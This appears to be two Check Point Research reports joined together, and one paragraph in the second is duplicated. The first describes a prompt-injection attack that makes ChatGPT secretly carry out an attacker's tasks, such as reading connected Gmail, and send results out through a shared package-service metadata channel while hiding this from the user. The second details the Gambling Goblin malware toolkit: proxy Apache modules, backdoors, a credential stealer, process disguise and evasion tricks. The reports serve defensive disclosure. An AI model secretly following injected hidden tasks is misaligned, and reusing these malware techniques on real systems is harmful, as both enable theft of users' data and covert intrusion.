Check Point Research discovered a covert cross-account command channel through which an attacker could use a victim’s ChatGPT session to execute hidden tasks with the tools, data, and connected apps available to that session. The victim could receive a normal answer to their visible request while the attacker’s task was processed separately and its result returned across accounts. In our proof of concept, ChatGPT retrieved email data from the victim’s connected Gmail account and relayed it to the attacker.
The channel operated through code-execution environments belonging to different ChatGPT accounts. Although the containers could not access the public Internet or communicate directly, they could all reach the same internal service used to deliver software packages.
The hidden instruction could be delivered through a malicious prompt, a shared ChatGPT conversation, or a custom GPT. Once it was present in the victim’s conversation context, an ordinary message could trigger the attacker-controlled task without revealing it in the visible response.
The same channel could also be used to exfiltrate conversation history and files available in the affected chat and its code-execution environment. The scope of the attack depended on the data, tools, connected apps, and permissions already available to the victim’s session.
Introduction
Over the past several years, AI assistants have moved far beyond text generation. Modern systems can execute code, install additional dependencies, analyze user files, and access data through connected services. These capabilities significantly increase the practical value of LLMs, but they also change the security model: protecting user data now depends both on the behavior of the model itself and on its execution environment, the tools available to it, and the platform’s internal services.
In this architecture, the model sits inside the security boundary. It can access internal resources and user data, but its behavior can be steered through instructions. If an attacker provides a convincing justification for an action, the model may carry it out using the capabilities available in the user’s session. The model can therefore act as a coerced insider: not malicious, but persuaded to act on the attacker’s behalf. Even if the model performs an action it should not, data leakage should still be technically impossible.
ChatGPT handles tasks that require code execution inside isolated containers. We have previously shown why the isolation of these containers is critical. To prevent user data leakage, containers must not have direct access to the public Internet, and containers belonging to different users and accounts must not be able to exchange data.
The importance of this isolation boundary was recently highlighted by the widely reported Hugging Face incident. In its postmortem of the incident, OpenAI described how agents running in separate evaluation environments established unauthorized communication channels that allowed them to share information and coordinate their actions.
Coincidentally, while this incident was developing, Check Point Research was investigating a related isolation problem in ChatGPT. In June 2026, we independently found a way to establish a covert, bidirectional channel between the code-execution containers of two separate ChatGPT conversations created under different accounts. The mechanism we discovered was different from those used by the agents described in OpenAI’s postmortem, but both cases exposed the same architectural weakness: a shared internal service became an unintended communication layer across environments that were supposed to remain isolated.
We also found that this communication path could be turned into a hidden task channel. A crafted instruction could make ChatGPT process a second stream of tasks alongside the visible conversation: receive instructions from an attacker, execute them using the capabilities of the victim’s session, and return the results without exposing the second stream in its visible response.
Figure 1 – ChatGPT process a second stream of tasks alongside the visible conversation.
To demonstrate the practical impact, we embedded such an instruction in a shared ChatGPT conversation. The victim only had to open the link and send a normal message. ChatGPT completed the user’s request while simultaneously accessing the victim’s connected Gmail account and sending the retrieved data to the attacker’s account through the cover channel.
Video 1 – A shared ChatGPT conversation completes the victim’s visible request while retrieving data from the connected Gmail account and sending it to the attacker’s account.
Container Network Isolation and Internal Access
For solving complex analytical problems, ChatGPT can create code-execution containers. At the time of our research, we assessed that these containers could not access the public Internet. Containers created for separate conversations, including conversations under different accounts, also cannot communicate directly with one another.
Some tasks may nevertheless require installing additional Python and npm packages, as well as dependencies from other ecosystems. To support this functionality without giving containers access to public package repositories, the containers were allowed to access an internal JFrog Artifactory instance, which acted as a controlled intermediary for retrieving the required dependencies.
The containers therefore remain isolated from one another, but each can access the same permitted internal service.
A Shared Clipboard Between Isolated Containers
Access to the same internal service does not by itself break container isolation. The issue arose because the Artifactory instance available to the containers exposed Item Management API operations for repository items.
These operations were available through the /api/storage/{repoKey}/{itemPath} endpoint:
Set Item Properties allows string properties to be attached to an existing repository item, such as a file, folder, or repository. Property updates are supported for local repositories and local caches of remote repositories and require Annotate permission.
Get Storage Item Information can return the properties associated with an item through the same storage endpoint.
In the environment we examined, the credentials provided to the container for reader access had sufficient permissions to perform both operations. The credentials were stored in environment variables and were available to code running inside the container. Code launched by ChatGPT could therefore authenticate to the storage endpoint without extracting a separate secret or escalating privileges.
We tested whether item properties were isolated by account. From a container under one account, we added a test property named chatgpt_test_ts, with the current timestamp, to an automatically cached file. From a conversation under a different account, we then requested the properties of the same file. The response contained the exact property name and value written from the first account.
Figure 2 – The item properties retrieved from the second account contain the chatgpt_test_ts value previously written from the first account.
Property values could carry text directly or binary content encoded as Base64. Data too large for a single property could be divided into chunks, stored under separate keys, and reassembled at the other end. The storage endpoint therefore turned the package service’s metadata into a shared clipboard between isolated containers.
The Invisible Second User
The channel between containers belonging to different users could be used to steal chat history and files shared in a conversation. In our previous research, we showed how a malicious instruction could make ChatGPT exfiltrate the same type of data through a different hidden outbound channel.
For the cross-container attack described here, all that was needed was a single short message containing the required instructions. The attack could therefore be carried out in several ways:
a malicious prompt pasted by the victim into a new or existing chat;
a shared conversation containing the instruction;
a custom GPT with the instruction embedded in its hidden configuration.
The possible damage extended beyond chat history and uploaded files. Today, ChatGPT is a cloud-based agent that can access external services through connected apps. A user may connect it to Gmail, Google Drive, Microsoft Teams, GitHub, and many other services. ChatGPT can then access data stored there within the permissions granted by the user or their workspace.
Figure 3 – ChatGPT plugins.
We were able to write the instruction so that, in Thinking mode, ChatGPT handled two independent request streams during a single turn.
The first stream was the normal conversation with the victim. ChatGPT processed the visible request and returned an ordinary answer. At the same time, it checked the hidden mailbox for a task from the attacker. If a task was waiting, ChatGPT carried it out using the tools and data available in the victim’s session, then returned the result back through the covert channel.
The instruction told ChatGPT not to mix the two streams. The hidden task and its result did not appear in the answer shown to the victim. From the user’s point of view, the conversation continued as usual. In reality, the same ChatGPT session was serving a second user whom the victim could not see.
Figure 4 – ChatGPT processes a visible user request and a hidden task during the same turn, then returns the results through separate channels.
For example, a hidden task could ask ChatGPT to retrieve a list of emails. The next time the victim sent a message, ChatGPT could process this task alongside the user’s visible request.
We tested this scenario using an unrelated, ordinary user request. ChatGPT processed the request and returned a normal answer in the visible conversation. During the same turn, it accessed the connected Gmail account and returned the requested email data through the hidden channel.
The visible answer contained no mention of the Gmail request or the retrieved data. The only app-specific clue was the small “Talked to Gmail” label above the answer.
Figure 5 – ChatGPT answers the cooking question normally. The “Talked to Gmail” label is the only indication of the hidden activity in this view.
This label recorded an action that had already taken place. It did not give the user a chance to approve or reject it.
By default, the Gmail integration in ChatGPT automatically approves low-risk actions. ChatGPT may still deny actions involving sensitive information, but a read operation can be completed without a separate confirmation request. However, in the attack scenario we examined, even read-only “low-risk actions” can carry significant risk because they may be used to obtain personal data, sensitive correspondence, confidential business information, or other content accessible through the victim’s connected account without a separate confirmation request.
OpenAI documentsImportant actions as the default permission setting for connected apps. Under this setting, ChatGPT can read from apps without prior approval, while actions considered important require confirmation. Users can select the stricter Always ask setting. Under the default configuration, the Gmail activity becomes visible only after the read has been completed.
Figure 6 – The default Gmail settings allow low-risk actions without a separate confirmation request.
The covert channel could therefore become a remote-control channel for the capabilities available to the victim’s ChatGPT session. Its reach would depend on the data, tools, and permissions already available there.
Activating this capability required very little interaction from the victim. Shared conversations and custom GPTs were especially practical delivery methods. In both cases, one ordinary message from the victim could activate the hidden task stream.
In the shared-conversation scenario, the victim only had to send a message in a conversation whose context already contained the malicious instruction. ChatGPT could then process the visible request while also checking the hidden mailbox and carrying out any waiting task.
A custom GPT could operate similarly. It could perform its advertised function while checking the hidden mailbox during ordinary interactions. Its builder instructions are not shown to the user, allowing the covert-channel instruction to remain outside the visible conversation.
Conclusion
By the time we completed our report, the cross-account channel was no longer available. We nevertheless disclosed our findings to OpenAI, who confirmed that the internal Artifactory instance identified during our research had been decommissioned.
This issue illustrates a broader security challenge in agentic systems. An LLM operates inside the trust boundary: it uses credentials, runs code, accesses internal services, and works with user data. Its actions are directed by text instructions. This combination turns the model into a coerced insider that can use authorized capabilities on behalf of another user.
In the environment we studied, the network sandbox performed its intended function. The cross-account channel emerged through a shared internal service and mutable state without tenant isolation. Shared infrastructure effectively became a communication path between containers that were considered isolated.
The architecture of agentic platforms must account for every resource available to the model: internal APIs, shared state, credentials, tools, and connected apps. Management interfaces should be inaccessible from the runtime, and permissions should be limited to the minimum required. Within shared internal services, any data that a container can modify must remain accessible only to the account or session that owns it. Connecting external services increases the impact of any failure in this model because an active session may work with data far beyond the container.
A Chinese-speaking actor is now targeting Brazil. Check Point Research has uncovered a sustained campaign against Brazilian organizations, primarily government and educational institutions since mid-2025. We dubbed this group Gambling Goblin: a Chinese-speaking cybercrime cluster connected to a previously documented group, Earth Berberoka, that targeted gambling sites across Asia. It marks a shift from Brazil’s usual home-grown banking-trojan threats to a foreign operator moving in
Compromised web servers turned into stealthy proxies. The attackers compile and install malicious Apache modules on victim servers that silently reverse-proxy visitors to attacker-controlled phishing pages, while the traffic still appears to originate from the legitimate domain, with the site’s own security headers stripped so injected content runs freely.
Large-scale SEO manipulation. The phishing pages pose as trusted app stores such as Google Play, Microsoft Store, and Amazon. Behind that facade, they push online gambling and sports betting, and they chain together compromised high-reputation domains, many of them Brazilian government sites, to inflate search rankings and hijack traffic at scale.
A broad, heavily obfuscated Linux toolkit. Once inside a host, the group deploys custom tools – downloader (DownPro), multiple backdoors including the modular AlphaAgent and the oRAT RAT, a 3snake-based credential stealer, an SSH brute-forcer, and a plugin-driven reconnaissance agent. Most of them are wrapped in packing and virtualization layers to slow analysis and evade detection.
The operation reaches well beyond Brazil. We identified parallel phishing networks localized in Vietnamese, Spanish, and English, alongside infrastructure that generates fresh domains daily – evidence the model is built to scale and be exported to new regions.
One step from direct malware delivery. Because the pages already mimic app-download destinations, the same infrastructure sits a single configuration change away from pushing malware straight to victims, a latent escalation risk beyond the current search-fraud scheme.
Introduction
Since mid-2025, Check Point Research has tracked a sustained campaign against Brazilian organizations. The tradecraft points to a Chinese-speaking cybercrime group connected to Earth Berberoka, an actor first documented targeting gambling sites across Asia.
Once inside a victim, the group deploys a broad Linux toolkit: a custom downloader, several backdoors, and familiar offensive utilities. Most of it arrives heavily obfuscated – wrapped in layered virtualization and packing to slow analysis and evade detection.
The purpose becomes clear at the network layer. The attackers install custom Apache modules that quietly proxy visitors to a sprawling set of phishing pages. Many of those pages sit on Brazilian government domains that appear to have been compromised and repurposed without their owners’ knowledge.
The reach extends beyond Brazil. We uncovered a second phishing network run by the same actor; this one is built for Vietnamese victims.
The likely goal is SEO manipulation at scale. By hijacking trusted, high-reputation domains, many of them Brazilian government sites, the operators borrow that reputation to push their own content up the search rankings and hijack the traffic that follows. But the same infrastructure could serve a more dangerous end: the phishing pages impersonate app-download destinations such as Google Play, the Microsoft Store, and Amazon, which leaves the operators one step from pushing malware straight to victims.
Infection Flow
Figure 1 – Infection chain
Initial Access
We have not directly observed this group’s initial access, but a revealing artifact surfaced on one of their servers: an exposed open directory hosting an ELF binary written in Go that bundles numerous reconnaissance and scanning plugins. The toolset reads like a complete attack-surface-mapping pipeline for internet-facing targets.
The group refers to this agent as “cluster-asset-mapping”, or “cam-agent” for short. It runs with a handful of flags:
default – long-lived worker session for orchestrated task dispatch
f – foreground mode without logging
flog – enable logging (use with f)
h – show help
v – show version
Figure 2 – Cam-agent help message
The agent carries a configuration that includes:
worker_endpoint
server_id
project
agent_token
embedded PEM certificates and keys for the server and agent
a plugin list
report policies
It logs to payload-run.log under the default directory of /tmp/asset-scan. The agent reads the JSON report policies to decide how to run its scan. The policies are driven by the following fields:
common web ports
batch_size
retry_count
retry_backoff_seconds
level
Figure 3 – Network scan report policy
The agent communicates with its server over gRPC, authenticating with the certificates and keys from its own configuration. It uses many known open-source pentesting tools as modules:
dirprobe – takes URLs and a directory list or profile, sends HTTP requests, and records the status code, response length, and title for each probed path.
httpx – takes URLs, ports, and HTTP options, then collects the status code, response length, title, protocol, TLS details, and banners from each target.
naabu – takes IPs or hostnames, port ranges, and a scan mode, attempts TCP connections across all targets, and marks each port as open, closed, or filtered.
nuclei (v3) – takes URLs, paths, and workflows, executes HTTP/DNS/TCP checks as defined by templates, and emits a structured result for each match (template ID, severity, affected URL, evidence).
subfinder – takes root domains, resolvers, and a depth, then enumerates subdomains via DNS brute force, certificate transparency, and passive sources, returning the discovered subdomains.
whatweb – a Wappalyzer-style fingerprinter that issues HTTP requests to each target and applies rules to identify web servers, frameworks, CMS platforms, JavaScript libraries, and more.
Stealth phishing structure
Apache Modules
The group automates deployment of its malicious Apache module through a Bash installer. The script first confirms it is running as root, then fingerprints the host as either Debian/Ubuntu or CentOS/RedHat and pulls in the matching Apache development packages so the module can be compiled on the victim itself. It downloads the module’s C source, opsproxy.c, from a hardcoded staging server and, notably, patches the source on the fly to insert a missing macro definition so the code compiles cleanly. This is a small touch that shows the operators built the module to run across a range of victim configurations.
Compilation and installation are handled in a single step via Apache’s own apxs tooling, which also wires the module into the server’s configuration. What follows is a deliberate effort to hide the intrusion: the script deletes the source and all build artifacts, then timestomps the resulting .so and its load-configuration files to match legitimate, pre-existing Apache modules such as mod_ssl or mod_suexec, so the malicious files blend in during a casual review. It then enables the stock proxy, headers, and rewrite modules the malicious module depends on, tests the configuration, and restarts Apache to bring everything live.
Throughout, the script’s status messages are written in Chinese and decorated with emoji, a style that may point to AI-assisted development.
Figure 4 – Checking the URL by the Apache module
The source file, opsproxy.c, reveals a purpose-built reverse proxy that quietly grafts attacker-controlled content onto a compromised web server. The module registers itself at Apache’s name-translation stage and inspects every incoming request for one of a small set of hardcoded URL prefixes which in our samples, /wps, /bmw, and /card. When a request matches, the module rewrites it into a reverse-proxy request to a corresponding upstream server hardcoded into the source, silently relaying the visitor to attacker infrastructure while the request still appears, to the outside world, to come from the legitimate compromised domain.
To make that relayed content render without interference, the module strips the upstream site’s Content-Security-Policy headers. It replaces them with a deliberately permissive policy that allows inline and dynamically evaluated scripts, third-party assets, and data: and blob: sources. This removes the restrictions a browser’s CSP normally enforces, allowing injected or externally hosted scripts to execute freely.
Figure 5 – CSP stripping so injected scripts can run
The module also forwards the original Host header and adds standard proxy headers so the upstream sees a convincing request. The effect is a compromised, reputable server acting as a stealthy front door: certain paths transparently serve attacker content, and the browser protections that would ordinarily block foreign scripts are switched off for exactly those paths.
Figure 6 – How the compromised .gov site relays attacker content to visitors
A second ELF Apache module used by the group disguises itself as a basic filter module while registering request and response hooks that examine visitor headers, URI paths, referrers, and client IPs. It carries a static configuration, decrypts it with RC4, and parses it into two rule types:
rule1 – an array of matching rules (path, referrer, or User-Agent, paired with a proxy URL)
rule3 – an optional response-filtering or injection configuration
Figure 7 – JSON struct example
Using a compiled-in regex for <body.*?> to locate its injection point, the module expands placeholders such as {host}, {hip}, {url}, and {name}, fetches remote content with libcurl, and writes that content into Apache responses via ap_rwrite and bucket manipulation. This gives a remote service control over what selected visitors and crawlers see on the compromised server. This is a behavior consistent with SEO cloaking and content-injection malware.
Brazilian infrastructure
Fetching the content served from the three upstream IP addresses hard-coded in the proxy module reveals the phishing infrastructure itself. Each address hosts a page impersonating a trusted app-distribution platform, localized in Brazilian Portuguese (lang="pt-BR") and dressed up with fabricated ratings, review counts, and structured schema.org metadata to appear legitimate to both users and search-engine crawlers.
Figure 8 – Several phishing pages shown by the Apache module.
All those IPs lean heavily on Bing’s thumbnail service (tse-mm.bing.com) to source imagery, tag their Open Graph and Twitter cards with @GooglePlay and @microsoftstore handles, and consistently theme around online gambling and sports betting aimed at a Brazilian audience – the actual monetization behind the campaign’s search-manipulation scheme. Tellingly, the pages carry Chinese-language CSS comments (for example a comment translating to “bottom navigation bar — fixed to the bottom on mobile, hidden on desktop”), the same operator fingerprint seen across the group’s server-side tooling.
Inspecting the domain used by the second Apache module brought us to a domain called playfootball[.]info that has a phishing page similar to the earlier ones. Unlike the earlier upstream samples that pulled assets from Bing thumbnails and a fake CDN, this one loads Google’s real production assets – the actual gstatic.com Play Store CSS bundle, Material Icons fonts, and the genuine Google Play logo SVG.
Figure 9 – The phishing page used by the second Apache module
The most revealing finding from this page is that the app tiles and nav links don’t point to a single server; they point to dozens of real Brazilian domains, the majority of them legitimate .gov.br government sites, each serving the attacker’s gambling pages under paths like /jogos and /nova. The compromised institutions span every level of Brazilian government. At the federal level, they include a government ministry and a national public agency. At the state level, victims include a state legislative assembly, state courts of accounts, and a state-owned utility. The largest share, however, is local government: municipal administrations spread across numerous cities and multiple states. A smaller set of commercial .com.br sites such as local news outlets, health clinics, and business associations rounds out the victims.
Beyond Brazil
As we pivoted through the phishing infrastructure, the trail led well beyond Brazil. Several of the IP addresses hosted subdomain and domain generators, giving the operators a fresh supply of domains every day – a rotation scheme built to outpace blocklists and takedowns.
Figure 10 – Domain generator used by the group
Some of the generated domains pointed to adult-content and gambling sites aimed at a Chinese-speaking audience, tying the infrastructure back to the operators’ origin and their long-running focus on the gambling sector.
Figure 11 – A gambling site in Chinese from the domain generator list
More telling, we found phishing pages built on the same template as the Brazilian ones, but localized in Vietnamese, Spanish, and English. The Brazilian operation is not a one-off: the same playbook is being adapted for other regions, and the infrastructure is clearly built to scale.
Figure 12 – Phishing pages in Vietnamese and English
The Attacker’s Arsenal
Across these intrusions, the group draws on two kinds of tooling: well-known offensive utilities that any attacker might reach for, such as netcat, fscan, and pwnkit, and a broad set of custom tools written by the operators themselves: a downloader, several backdoors, a credential stealer, and purpose-built reconnaissance scripts. The sections below focus on that custom toolkit, which is where the group’s tradecraft shows.
DownPro
A downloader written in Go, referred to internally as DownPro. Its job is to pull the rest of the toolkit onto a freshly compromised host and launch it.
The binary is driven by a handful of flags, and a telling detail stands out immediately: their help strings are written in both English and Chinese. The flags are:
u – URL of the main backdoor to download
id – URL of the ChUser payload
up – URL of the unix_updates payload (the PasswordHarvester)
j – offline URL encryptor mode: it takes a plaintext URL via u and outputs the ciphertext to use as the flag value in real runs
logs – where to write logs
The values passed to these flags are AES-GCM encrypted with a hardcoded key and Base64-encoded, so the operator supplies pre-encrypted URLs at runtime rather than leaving them in the clear.
DownPro then decides where to drop its payload based on its effective UID, preparing two sets of candidate destination paths: one for root, one for non-root. Running as root, it selects one of:
/usr/local/bin/systemd-udevd
/usr/local/bin/rsync-tsl
/usr/local/bin/tcp-tsl
/usr/local/bin/snapd-ext
/usr/local/bin/fsck-disk
/usr/local/bin/nftables-init
These names are chosen to blend into a Linux server environment, either mimicking legitimate system components or looking like ordinary utility and network helpers. Running without root, it instead generates one of two temp-style names designed to pass as routine disk clutter:
/tmp/php_sess_<32_hex_chars> – mimicking a PHP session file
/tmp/private-tmp-<5_alnum_chars> – looking like an ephemeral temp artifact
With the destination chosen, it downloads the file from the -u URL and executes it with the argument -si.
Figure 13 – DownPro main logic
The two optional payloads are handled separately. When the -id flag is set, DownPro downloads a file to /usr/bin/chuser, sets its permissions to 0755, changes its owner to root, and timestomps it to match /bin/ls and turning it into a setuid helper that serves as a persistent local privilege-escalation backdoor. When the -up flag is set, it downloads a file to /usr/sbin/unix_updates and runs it with -v FuckMe#988, then strips the setuid bit from /usr/bin/pkexec.
ChUser
A simple backdoor that masquerades as a chuser utility. It executes commands passed through the -c flag, but only after passing one of two activation checks:
Remote HTTP activation – the backdoor builds a curl command using the -x <version> flag and runs it. Activation succeeds only if the command’s output matches the expected value, chuser no version.
Local MD5-based activation – the backdoor concatenates a user-supplied secret (from the -s <secret> flag) with a hardcoded salt, FuCkMe#, computes the MD5 of secret + salt, and compares it against a hardcoded target hash. Activation succeeds only on a match.
PasswordHarvester
A credential stealer based on 3snake that monitors newly executed authentication programs, including sshd, sudo, su, doas, ssh, ssh-add, passwd, kinit, and login.
On startup, it sets a clean PATH environment variable and installs signal handlers so the daemon can log and exit cleanly. It runs only as root, exiting otherwise, and gates execution behind a covert activation switch: the CRC32 of the -v argument must match a hardcoded value.
Figure 14: CRC32 gate
Once the CRC gate passes, the stealer resolves the host’s name and IPv4 addresses, then daemonizes by forking, calling umask(0) so it can freely control file permissions, changing its working directory to /tmp, and redirecting stdout and stderr to a file.
To hide itself, it picks at random from roughly 29 fake process names, such as:
[kworker/1:2]
[ksoftirqd/0]
[watchdog/0]
[systemd]
[dbus-daemon]
[journald]
[migration/0]
[ksmd]
It overwrites the original argv with the chosen name and calls prctl to change the kernel-visible task name to match.
The core logic then opens a netlink socket and subscribes to process events (PROC_CN_MCAST_LISTEN). On every process execution or UID change event, it checks whether the process name or command line matches one of the target programs listed above. When a match falls outside the expected path prefixes, it enters the interceptor flow: it attaches to the target with ptrace, reads the credential buffers, and exfiltrates them to its C2, RC4-encrypted and Base64-encoded.
AlphaAgent
A modular backdoor written in Go, built to land quietly, blend into a busy host, take orders over an encrypted channel, and hand its operator everything they need to work through a network.
On launch, AlphaAgent first checks whether it was invoked to finish an upgrade, so an in-progress self-update can complete cleanly. It then parses its command-line flags, validates its configured role and transport, and generates a Device ID from either the victim’s MAC address or the username combined with a hardcoded salt (e*f#1%0d$6&5=6). After checking its debug flags (DEBUG, VERBOSE, or neither), it decrypts its configuration strings using AES-GCM with a hardcoded key.
[Figure 19 – Device ID generation](Gaming the system how a Chinese-speaking actor tur/image_(4)
The configuration holds the region blocklist, the transport role and mode, the C2 domain, the TLS SNI camouflage value used for the certificates, and the directory, filename, and loader names for the rootkit.
With its configuration in hand, the agent goes to ground. It renames its own process to pass as a kernel thread or a system daemon, choosing the disguise from its configuration profile and applying it by rewriting argv[0] or calling prctl. The profiles are:
aws → /usr/sbin/amazon-master or /usr/local/sbin/amazon-proxy
google → /usr/bin/google_user_agent or /usr/bin/google_proxy_agent
aliyun → rsyslogd
general → one of a set of kernel-thread-style names:
When not running as root, it falls back to php-fpm: pool www or nginx: worker process.
AlphaAgent then detaches into the background and writes a PID lock file under an innocuous path so that only one copy runs. It sleeps for a randomized interval which is long enough to outlast a quick sandbox detonation, and checks where it is running: if the host’s country matches the operators’ blocklist (China, in the samples we analyzed), the agent simply exits. Only after clearing that geofence does it enter its connect-and-retry loop and reach out to the server.
Finally, if the -r flag is set at execution, AlphaAgent checks whether the rootkit’s kernel module is already loaded. If it is not, the agent installs it; the rootkit ships embedded inside the binary via Go’s embed.FS API. In all the samples we analyzed, we haven’t found any rootkits, only placeholders.
Once connected, the agent enrolls, starts a heartbeat, and subscribes for jobs. How it talks to its server is a build-time choice, and each option is designed to look like something benign.
The primary channel is gRPC over HTTPS. The agent’s gRPC transport is built as a publish/subscribe service. The agent subscribes to receive jobs and publishes results back, and on top of that base, it opens dedicated streams for each interactive function rather than multiplexing everything through one pipe. There are separate streams for the web terminal, for uploads, for downloads, and for keepalive pings, and each exists in two directions an operator-facing set and an agent-facing set. That separation keeps a live terminal session responsive while a large file transfer runs in parallel.
Three design choices make this channel hard to spot on the wire:
uTLS fingerprint mimicry. The agent uses a library that forges the TLS handshake of a real browser, so fingerprint-based detection (JA3/JA4-style) sees a normal Chrome-like client, not a Go program.
Google and Cloudflare camouflage. It presents api.google.com as its server name, serves a .google.com certificate, and dresses its HTTPS heartbeats as Google traffic with decoy cookies (NID, SID, and similar) plus a custom proof scheme carried in Cloudflare-style parameters (_cf_auth_ts, _cf_auth_nonce, _cf_auth_method). The heartbeat side exposes handler paths like /agent/heartbeat and /notifications/v1/push to complete the illusion of a Google notification service.
Encryption beneath the encryption. Job and result messages are themselves AES-GCM encrypted before they travel inside the TLS session. Even an analyst who terminates the TLS still faces an encrypted payload.
The Message fields of the communication:
Message Message
field 1: string cid (label=optional) - connection ID
field 2: string mid (label=optional) - Message ID
field 3: int32 command (label=optional) - specific command to run
field 4: bytes data (label=optional) - data for command
field 5: string topic (label=optional) - channel name
field 6: bytes encrypted_data (label=optional) - encrypted payload
field 7: string sid (label=optional) - stream ID
field 8: string file_name (label=optional) - if there is a file
field 9: string file_action (label=optional) - can be upload / download / delete / list
The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through, which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled.
The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled.
Whichever channel it uses, the agent bootstraps through public DoH and GeoIP providers such as Cloudflare, Google, ipinfo, and others, both to resolve its server and to run the geofence check described above.
At the center of the agent is a single job dispatcher. The server sends a numbered command; the dispatcher routes it to the matching handler. That design keeps the protocol compact and makes the feature set easy to summarize. The sections below cover the ones that matter most.
Remote shell and interactive terminal – The workhorse is remote command execution. A shell job is joined into a single string and run through /bin/sh -c, and the combined output is captured and returned to the operator. The agent takes care to keep this quiet. It sets HISTFILE=/dev/null so commands leave no shell history behind. For interactive work, the agent goes beyond one-shot commands. It can allocate a real pseudo-terminal, launch a shell inside it, and stream that terminal to the operator as a browser-based “webtty” session. This gives an attacker a live, interactive shell with full terminal behavior, not just fire-and-forget commands, which is what you want for hands-on-keyboard operations.
File Operations – File handling is complete in both directions. The agent can download files to the host and upload files from it, with both direct and streamed transfer paths for larger data transfers. Alongside transfer, a file browser lets the operator list directories and walk the filesystem interactively before deciding what to take. Together, these turn the backdoor into a remote file manager for the compromised host.
Tunneling and pivoting – This is where the agent shows its intent to move laterally. It bundles a SOCKS5 proxy, a yamux-based multiplexer, and a Ligolo-style relay, turning the compromised host into a pivot point for the operators’ traffic. A dedicated relay mode lets the agent listen for inbound connections and forward them, so one foothold can open a path into the rest of an internal network. In the tunneling paths, certificate verification is deliberately turned off to keep the relay flexible.
Relay Tunneling – AlphaAgent can also be deployed not as an implant but as a relay node. The agent validates a configured role at startup, and, in its tunnel-edge role, starts a listener and forwards traffic upstream to the command-and-control server on a different port, preserving the same gRPC streams. It uses its own embedded node token to identify itself in this mode. In other words, the operators can seed both endpoints – victims that call home and relay nodes that concentrate and forward that traffic – from one codebase. One build even carries a tag pointing to a specific tunnel geography ([dns-hktun / Hong Kong]), suggesting the relay tier is planned around location.
Discovery and collection – The reconnaissance is aimed squarely at spreading. Beyond a standard host and network inventory: hostname, users, running services, active network connections, interface addresses, and virtualization hints, the agent reads login history from wtmp, utmp, and the system authentication logs, and enumerates current SSH sessions. It can then archive a victim’s .ssh directory and .bash_history into a compressed bundle for exfiltration. Read who logged in, grab their keys and history, and use the tunnel to reach the next host: the collection features are built to feed lateral movement, not just to profile a single machine. Worth flagging: the host inventory the agent sends home includes a virtualization role field, meaning the agent reports back whether it believes it is running inside a virtual machine or sandbox. That gives the operators a chance to abandon or lie low on analysis systems before doing anything noisy.
AI Plugin – The newest build we found, introduces something the earlier versions do not have: an AI plugin execution path. The evidence is currently limited to internal strings. The agent logs executing AI plugins when it runs one and recovers from failures through an AI plugin panic handler, so we can confirm the capability exists and is guarded like a first-class feature, but the sample does not reveal what the plugin is or does. In the code AlphaAgent gets scripts probably written by an AI orchestrator on the server side named “ai_plugin_%s.sh”, runs them and sends the result to the C2.
Evasions – The agent invests heavily in remaining unseen. It renames its process to impersonate legitimate kernel threads and services entries like [kworker/...], [kswapd...], nginx: worker process, or rsyslogd and overwrites its own command-line arguments so tools that read them see the disguise too. It suppresses its own output to /dev/null and detaches as a daemon. Some builds go further and hide the process outright. On command, the agent can bind-mount over its own /proc entry, making itself invisible to anything that reads the process table – a lightweight but effective trick that needs no kernel module. Other builds do carry a kernel-module component, controlled through custom device commands, that hides processes and network connections at the kernel level and can stage an additional loader fetched from the operator. The encrypted configuration and the traffic camouflage described earlier round out an evasion posture that spans disk, process table, and network. One variant is packaged to defeat analysis itself. It is wrapped in a protector that strips the file’s structure, unpacks the real payload only in memory, obfuscates its internals, and watches for a debugger, popping a decoy error and exiting the moment it detects one. Same feature set underneath, hardened against the analyst.
oRAT is a Go-based Linux remote access trojan built for full remote administration of a compromised host.
It starts with decrypting the configuration baked into the binary that contains: the C2 address, the install paths, the process disguise, and the hiding flags all live inside one encrypted blob and are only unpacked in memory.
Unless told to skip it, the agent then runs its preparation routine, and this is where most of the damage is done before any traffic leaves the box. It configures logging to /dev/null by default, daemonizes, disables SELinux enforcement (setenforce 0), installs itself to a persistent location, registers a service, writes a GUID, takes a file lock so only one copy runs, deletes its original on-disk copy if it was relocated, and optionally hides its own process. Only after all of that does it enter its main loop of communication.
The agent’s communication routine supports three transports, selected by config:
tcp – a raw TCP connection
stcp – TLS over TCP
sudp – QUIC over UDP, using the quic-go library
On top of whichever transport it picks, oRAT layers a multiplexed session and speaks HTTP through it. It uses a standard Go HTTP client, but rewrites the client’s dialer so every request is carried inside the established oRAT session instead of hitting the network directly. The agent registers with the server by posting a join request to /join, then serves operator commands as REST-style routes over that same tunnel.
Because oRAT exposes its capabilities as HTTP routes, its feature set reads almost like API documentation. The operator API includes:
Route
Capability
/agent/info
Report host details (distribution, kernel, and more)
/agent/ping
Liveness check
/agent/exec
Run an operator-supplied command
/agent/upload
Write an uploaded file to a chosen path
/agent/download
Retrieve a file from the host
/agent/screenshot
Capture and return a screen image
/agent/zip · /agent/unzip
Archive or extract chosen paths
/agent/portscan
Scan hosts and ports from the victim
/agent/proxy
Open a SOCKS proxy through the host
/agent/net
Forward a raw TCP connection to any target
/agent/ssh
Reach an embedded SSH / SFTP server
/agent/upgrade
Replace the running binary
/agent/kill-self
Delete the agent and exit
oRAT offers two paths to run commands, and the second is the more interesting.
The direct path is a command route that hands operator input to sh -c and returns the output, standard RAT behavior.
The richer path is a fully embedded SSH server. oRAT builds its own SSH service into the agent, complete with a hardcoded RSA host key, password authentication, port-forwarding, and an SFTP handler. When an operator connects, the agent spawns an interactive shell: trying zsh, then bash, then sh with proper pseudo-terminal handling. In practice, the operator gets a real SSH session and SFTP file access on the target, tunneled through the C2 channel rather than exposed on a listening port.
oRAT’s persistence is quiet and well chosen. It installs itself to /usr/local/bin/xtables-addons and registers a systemd service named xtables-addons, wired into the standard multi-user target so it starts on boot as root. xtables-addons is a real netfilter/iptables extension package, so an administrator glancing at the process list or the service table sees what looks like legitimate firewall tooling. If the agent lacks the privileges for a system-wide install, it falls back to per-user persistence through a user service and a cron entry.
